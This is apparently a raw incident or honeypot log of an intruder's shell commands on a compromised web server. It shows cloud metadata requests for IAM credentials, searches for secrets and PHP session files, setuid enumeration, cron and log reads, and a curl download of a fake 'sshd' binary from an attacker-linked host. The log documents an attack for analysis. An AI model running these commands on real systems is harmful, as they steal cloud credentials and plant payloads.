| 2026-10-31 01:24:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token |
| 2026-10-31 01:24:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-10-31 01:24:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
| 2026-10-31 01:24:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
| 2026-10-31 01:24:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id |
| 2026-10-31 01:24:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ |
| 2026-10-31 01:24:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data |
| 2026-10-31 01:25:04 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www |
| 2026-10-31 01:25:04 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ |
| 2026-10-31 01:25:04 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep |
| 2026-10-31 01:25:04 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ |
| 2026-10-31 01:25:04 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /usr/share/nginx /srv/www -name .htaccess -type f |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:25:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d |
| 2026-10-31 01:25:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /home -type f -size -256k |
| 2026-10-31 01:25:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /etc/apache2 -type f -size -256k |
| 2026-10-31 01:25:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /usr/local/etc/php -type f -size -256k |
| 2026-10-31 01:25:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l |
| 2026-10-31 01:26:20 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c ls -la /tmp/<REDACTED>-20261031 | head -20; echo ---; ps -eo pid,etime,args | grep -E "collect|find|curl" | grep -v grep | head ; ls -la /tmp/<REDACTED>-20261031 ; head -20 ; ps -eo pid,etime,args ; head ; grep -v grep ; grep -E collect|find|curl |
| 2026-10-31 01:26:51 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-20261031 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclu |
| 2026-10-31 01:26:51 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' |
| 2026-10-31 01:26:51 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --ex |
| 2026-10-31 01:26:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log |
| 2026-10-31 01:26:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -laR /var/log |
| 2026-10-31 01:26:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r |
| 2026-10-31 01:26:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n |
| 2026-10-31 01:27:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | ls /tmp/<REDACTED>-20261031 ; ps -eo pid,etime,args ; grep -c collect ; bash -c ls /tmp/<REDACTED>-20261031; echo ---; ps -eo pid,etime,args | grep -c collect |
| 2026-10-31 01:27:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n |
| 2026-10-31 01:27:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-20261031 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n |
| 2026-10-31 01:27:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty |
| 2026-10-31 01:27:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -p |
| 2026-10-31 01:27:24 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n |
| 2026-10-31 01:27:46 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print |
| 2026-10-31 01:27:46 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n |
| 2026-10-31 01:28:00 | Not attributed | Not attributed | bash -> bash | curl -sS -o .j/sshd http://206.245.153.56:8088/j485/sshd |
| 2026-10-31 01:28:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
